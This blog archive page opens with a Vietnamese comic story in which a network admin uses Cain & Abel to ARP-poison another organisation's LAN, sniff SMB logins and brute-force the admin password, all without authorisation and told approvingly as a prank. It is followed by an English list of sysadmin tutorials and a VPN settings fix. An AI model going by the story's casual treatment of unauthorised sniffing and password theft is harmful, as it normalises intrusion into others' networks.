Ảnh : Trình Sniffer sẽ không bắt được thông tin đăng nhập

Và đối với việc an toàn thông tin, điều đầu tiên và quan trọng nhất là quy định về an toàn thông tin. Nếu quy định đưa ra một cách rõ ràng và cụ thể cho mức độ vi phạm (như bị kỷ luật, cho nghỉ việc, bị truy tố trước pháp luật….) thì cơ hội thực hiện các hành động xâm phạm thông tin bất hợp pháp sẽ giảm thiếu ở mức tối đa. Không ai muốn đón nhận cái hiểm họa đến với mình nếu như hiểm họa ấy không đủ để đánh đổi điều mình cần lấy.
Vụ án 3 : Thằng Ếch chôm luôn password của Tư Nòng Nọc

Sau vụ án số 2, thằng Ếch đã hai lần vào đọc trộm email của Sếp Hai Nhái thì Sếp sáng mắt hẳn ra. Lúc này Sếp Hai Nhái mới thấy vai trò quan trọng của một người quản trị mạng và cơ sở hạ tầng mạng. Sau này Sếp Hai Nhái đâm ra thích thằng Ếch bởi vì cá tính của nó (có trách nhiệm và không chịu an phận) nên đi đâu cũng dắt nó theo từ việc ký hợp đồng tới ăn nhậu.

Vào một buổi cuối tuần đẹp trời, Sếp Hai Nhái dẫn theo thằng Ếch, Sếp Ba Cóc dẫn theo Tư Nòng Nọc cùng ra quán Xuân Vàng (quán bên bờ kè ở Phan Thiết) nhậu vài ve thư giãn. Sau một hồi chuyện trên trời dưới đất, anh Ba Cóc cứ khoe được cấp trên tài trợ nhiều kinh phí đầu tư cơ sở vật chất :

- Nào là máy tính mới, máy chủ mới, máy in mới …. kể cả con “xế hộp” mới … nên cơ quan tôi cứ như đổi mới hẳn ra. Nghe đâu cấp trên sắp cấp cho một khu đất có địa lý đẹp để xây mới và chuyển cơ quan về đó ….

Còn Tư Nòng Nọc thì cũng dâng lên theo cao trào của Sếp mà nói với thằng Ếch Con là :

- Chú mày cố gắng đọc sách nhiều một chút, nếu cần thì cứ liên hệ với anh mày, anh mày sẽ cho chú mượn máy quyển “1001 thủ thuật registry” và “Quản trị Windows Server 2003 Tiếng Việt” … thì chú mày sẽ khỏe re như anh. Setup mạng theo như sách xong thì chỉ có việc ngồi đọc báo vì mọi thứ hết sức bảo mật. Chú có thể chôm được password của Sếp chú trong hệ thống mạng của công ty chú chứ qua cơ quan anh thì hông có cửa đâu, anh bảo mật chặt chẽ lắm … khà khà.

Thằng Ếch cũng chỉ cười và cụng ly và cảm ơn cho có lệ vì thực chất nó đã đọc mấy quyển Training kit 290 (Managing and Maintaining a Microsoft Windows Server 2003 Environment) và 291 (Implementing, Managing, and Maintaining a Windows Server 2003 Network Infrastructure) rồi. Theo nó thì mấy quyển quản trị Windows bằng tiếng Việt đọc vào chỉ không hiểu thêm vì có rất nhiều từ trong chuyên nghành nên giữ lại thì tác giả dịch sát ván thành tiếng Việt luôn, thành ra nó không hiểu gì. Sếp Hai Nhái cũng không ưu gì cái thói khoe khoang đó nên nói nhỏ với nó “bữa nào chú mày sang đó quậy nó một phen đi, tao ghét mấy thằng yếu mà ra gió”.

Vào một ngày nọ, Sếp Hai Nhái nhờ sang cơ quan Ba Cóc lấy giúp một số phim tư liệu vì làm quảng cáo, thằng Ếch hí hửng vì cơ hội đã tới liền quơ ngay cái laptop compaq của nó bỏ vào balô và sang cơ quan của Ba Cóc & Tư Nòng Nọc. Tới cơ quan nó đợi Tư Nòng Nọc burn đĩa liền xin một sợi cable mạng để ra net đỡ buồn, nó mở laptop và “chít” cable mạng vào và khởi động Cain & Abel (laptop của thằng Ếch lúc nào cũng được cài đặt sẵn các Hack tools như : Cain & Abel, Nmap, Wireshark, Metasploit Framework, Pwdump … để đụng đâu là đánh đó.

Thằng Ếch đã scan được 2 host và bắt đầu tiến hành ARP Poison

picture021

picture022

Tiến trình Poison đang bắt đầu, thằng Ếch liền mở Yahoo Messenger lên để ngụy trang (ngụy trang kiểu Úc, hehe)

picture023

Thật là vô phúc cho anh Tư Nòng Nọc, anh ta không hay biết là thằng Ếch đang có dã tâm chôm password và đang sniff nên cứ vô tư truy cập sang máy sếp Ba Cóc để lấy dữ liệu.

picture024

picture025

Thằng Ếch mừng thầm vì cái nó đợi đã đây rồi, chết chưa Tư Nòng Nọc.

picture026

Nó liền gởi gói SMB (Server Message Block) mà nó đã sniff được sang tab Cracker để tiền hành giải mã.

picture027

Nó dùng cách Brute-Froce Attack để giải mã cái “đống bùi nhùi” mà nó sniff được.

picture028

Nó nhấn Start và chờ đợi

picture029

Bùm beng, password đã được giải mã rồi, thằng Ếch xém chút là hô to lên vì đã có password Admin của thằng cha Tư Nòng Nọc rồi.

picture030

Đố các bạn sau khi chú Ếch nhà ta đưa cái password này cho anh Tư Nòng Nọc thì cảm giác của anh Tư Nòng Nọc sẽ như thế nào ? Phần này tui xin để cho các bạn tự hình dung, còn tui thì đi ngủ đây. hehe

Thursday, April 15, 2010

50 UNIX / Linux Sysadmin Tutorials

Merry Christmas and Happy Holidays to all TGS Readers.

To wrap this year, I’ve collected 50 UNIX / Linux sysadmin related tutorials that we’ve posted so far. This is lot of reading. Bookmark this article for your future reference and read it whenever you get free time.

  1. Disk to disk backup using dd command: dd is a powerful UNIX utility, which is used by the Linux kernel makefiles to make boot images. It can also be used to copy data. This article explains how to backup entire hard disk and create an image of a hard disk using dd command.
  2. 15 rsync command examples: Every sysadmin should master the usage of rsync. rsync utility is used to synchronize the files and directories from one location to another. First time, rsync replicates the whole content between the source and destination directories. Next time, rsync transfers only the changed blocks or bytes to the destination location, which makes the transfer really fast.
  3. Three sysadmin rules: If you are a sysadmin, you can’t (and shouldn’t) break these three sysadmin rules.
  4. User and group disk quota: This article explains how to setup user and group quote with soft limit, hard limit and grace period. For example, if you specify 2GB as hard limit, user will not be able to create new files after 2GB.
  5. Troubleshoot using dmesg: Using dmesg you can view boot up messages that displays information about the hardware devices that the kernel detects during boot process. This can be helpful during troubleshooting process.
  6. RPM package management examples: 15 examples provided in this article explains everything you need to know about managing RPM packages on redhat based system (including CentOS).
  7. 10 netstat examples: Netstat command displays various network related information such as network connections, routing tables, interface statistics, masquerade connections, multicast memberships etc.,
  8. Manage packages using apt-* commands: These 13 practical examples explains how to manage packages using apt-get, apt-cache, apt-file and dpkg commands.
  9. Modprobe command examples: modprobe utility is used to add loadable modules to the Linux kernel. You can also view and remove modules using modprobe command.
  10. Ethtool examples: Ethtool utility is used to view and change the ethernet device parameters. These examples will explain how you can manipulate your ethernet NIC card using ethtool.
  11. NFS mount using exportfs: This is a linux beginners guide to NFS mount using exportfs. This explains how to export a file system to a remote machine and mount it both temporarily and permanently.
  12. Change timezone: Depending on your Linux distribution, use one of the methods explained in this article to change the timezone on your system.
  13. Install phpMyAdmin: phpMyAdmin is a web-based tool written in PHP to manage the MySQL database. Apart from viewing the tables (and other db objects), you can perform lot of DBA functions through the web based interface. You can also execute any SQL query from the UI.
  14. Setup squid to control internet access: Squid is a proxy caching server. You can use squid to control internet access at work. This guide will give a jump-start on how to setup squid on Linux to restrict internet access in an network.
  15. Add new swap space: Use dd, mkswap and swapon commands to add swap space. You can either use a dedicated hard drive partition to add new swap space, or create a swap file on an existing filesystem and use it as swap space.
  16. Install and configure snort: Snort is a free lightweight network intrusion detection system for both UNIX and Windows. This article explains how to install snort from source, write rules, and perform basic testing.
  17. Register RHEL/OEL linux to support: If you have purchased support from Oracle for your Linux, you can register to oracle support network (ULN) using up2date as explained here.
  18. tftpboot setup: You can install Linux from network using PXE by installing and configuring tftpboot server as explained here.
  19. Delete all iptables rules: When you are starting to setup iptables, you might want to delete (flush) all the existing iptables as shown here.
  20. Disable ping replies: Someone can flood the network with ping -f. If ping reply is disabled as explained here we can avoid this flooding.
  21. Block ip address using fail2ban: Fail2ban is a intrusion preventon framework that scans log files for various services ( SSH, FTP, SMTP, Apache, etc., ) and bans the IP that makes too many password failures. It also updates iptles firewall rules to reject these ip addresses.
  22. Package management using dpkg: On debian, you can install or remove deb packages using dpkg utility.
  23. Alfresco content management system: Alfresco is the best open source content management system. Everything you need to know to install and configure Alfresco is explained here.
  24. Bugzilla bug tracking system: Bugzilla is the best open source bug tracking system. Everything you need to know to install and configure Bugzilla is explained here.
  25. Rpm, deb, dpot and msi packages: This article explains how to view and extract files from various package types used by different Linux / UNIX distributions.
  26. Backup using rsnapshot: You can backup either a local host or remote host using rsnapshot rsync utility. rsnapshot uses the combination of rsync and hard links to maintain full-backup and incremental backups. Once you’ve setup and configured rsnapshot, there is absolutely no maintenance involved in it. rsnapshot will automatically take care of deleting and rotating the old backups.
  27. Create Linux user: This article explains how to create users with default configuration, create users with custom configuration, create users interactively, and creating users in bulk.
  28. Mount and view ISO file: ISO files are typically used to distribute the operating system. Most of the linux operating system that you download will be on ISO format. This explains how to view and mount any ISO file both as regular use and as root user.
  29. Manage password expiration and aging: Linux chage command can be used to perform several practical password aging activities including how-to force users to change their password.
  30. ifconfig examples: Interface configurator command ifconfig is used to initialize the network interface and to enable or disable the interfaces as shown in these 7 examples.
  31. Oracle db startup an sthudown: Every sysadmin should know some basic DBA operations. This explains how to shutdown and start the oracle database.
  32. PostgreSQL install and configure: Similar to mySQL, postgreSQL is very famous and feature packed free and open source database. This is a jumpstart guide to install and configure postgresql from source on Linux.
  33. Magic SysRq key: Have you wondered what the SysRq key on your keyboard does. Here is one use for it. You can safely reboot Linux using the magic SysRq key as explained here.
  34. Wakeonlan Tutorial: Using Wakeonlan WOL, you can turn on the remote servers where you don’t have physical access to press the power button.
  35. List hardware spec using lshw: ls+hw = lshw, which lists the hardware specs of your system.
  36. View hardware spec using dmidecode: dmidecode command reads the system DMI table to display hardware and BIOS information of the server. Apart from getting current configuration of the system, you can also get information about maximum supported configuration of the system using dmidecode. For example, dmidecode gives both the current RAM on the system and the maximum RAM supported by the system.
  37. Use the support effectively: Companies spend lot of cash on support mainly for two reasons: 1) To get help from vendors to fix critical production issues 2) To keep up-to-date with the latest version of the software and security patches released by the vendors. In this article, I’ve given 10 practical tips for DBAs, sysadmins and developers to use their hardware and software support effectively.
  38. Install/Upgrade LAMP using Yum: Installing LAMP stack using yum is a good option for beginners who don’t feel comfortable installing from source. Also, Installing LAMP stack using yum is a good choice, if you want to keep things simple and just use the default configuration.
  39. Template to track your hardware assests: If you are managing more than one equipment in your organization, it is very important to document and track ALL information about the servers effectively. In this article, I have listed 36 attributes that needs to be tracked for your equipments, with an explanation on why it needs to be tracked. I have also provided a spreadsheet template with these fields that will give you a jumpstart.
  40. Disable SELinux: If you don’t understand how SELinux works and the fundamental details on how to configure it, keeping it enabled will cause lot of issues. Until you understand the implementation details of SELinux you may want to disable it to avoid some unnecessary issues as explained here.
  41. Install PHP5 from source: This is a step-by-step guide to install PHP5 from source on UNIX environment.
  42. Install MySQL from source: This is a step-by-step guide to install MySQL from source on UNIX environment.
  43. Launch Linux clients on windows: If you are using SSH client to connect to Linux server from your Windows laptop, sometimes it may be necessary to launch UI application on the remote Linux server, but to display the UI on the windows laptop. Cygwin can be used to install software on Linux from Windows and launch Linux X client software on Windows.
  44. IPCS: IPC allows the processes to communicate with each another. The process can also communicate by having a file accessible to both the processes. Processes can open, and read/write the file, which requires lot of I/O operation that consumes time. This explains different types of IPCS and provides 10 IPCS command examples.
  45. Logical Volume Manager: Using LVM we can create logical partitions that can span across one or more physical hard drives.You can create and manage LVM using vgcreate, lvcreate, and lvextend lvm2 commands as shown here.
  46. 15 Tcpdump examples: tcpdump is a network packet analyzer. tcpdump allows us to save the packets that are captured, so that we can use it for future analysis. The saved file can be viewed by the same tcpdump command. We can also use open source software like wireshark to read the tcpdump pcap files.
  47. Manage partition using fdisk: Using fdisk you can create a maximum of four primary partition, delete an existing partition, or change existing partition. Using fidsk you are allowed to create a maximum of four primary partition, and any number of logical partitions, based on the size of the disk.
  48. VMWare fundamentals: At some point every sysadmin should deal with virtualization. VMWare is a very popular choise to virtualize your server environment. This article will provide the fundamental information for you to get a jumpstart on VMWare.
  49. Rotate the logs automatically: Manging log files is an importat part of sysadmin life. logrotate make it easy by allowing you to setup automatica log rotation based on several configurations. Using logrotate you can also configure it to execute custom shell scripts immediately after log rotation.
  50. Passwordless SSH login setup: Using ssh-keygen and ssh-copy-id you can setup passwordless login to remote Linux server. ssh-keygen creates the public and private keys. ssh-copy-id copies the local-host’s public key to the remote-host’s authorized_keys file.

Friday, April 2, 2010

VPN connection disconnects your Internet session

The solution

First you need to pull get to the screen that lists your Network and VPN connections.
The easiest way to do this in both XP and Vista is go to Control Panel --> Network Connections (In Vista there are several other ways to get to this same screen).
One you are there, right click on the troubled VPN connection and choose properties.
This will open up a new VPN Properties form with a title of "VPN CONNECTION NAME Properties".

VPN Properties


On this form go to the Networking tab and highlight the Internet Protocol Version 4.
Click on the Properties button and this will open up a new form with the title "Internet Protocol Version 4 (TCP/IPV4) Properties".

IPV4Prop


Click on the Advanced button and this will open up yet another form with the title "Advanced TCP/IP Settings".

Advanced TCP_IP Settings


The default tab here should be "IP Settings" and there should be an on/off setting named "Use default gateway on remote network".
Un-check that setting and you should be able to use your VPN session, but now you should have an Internet connection at the same time.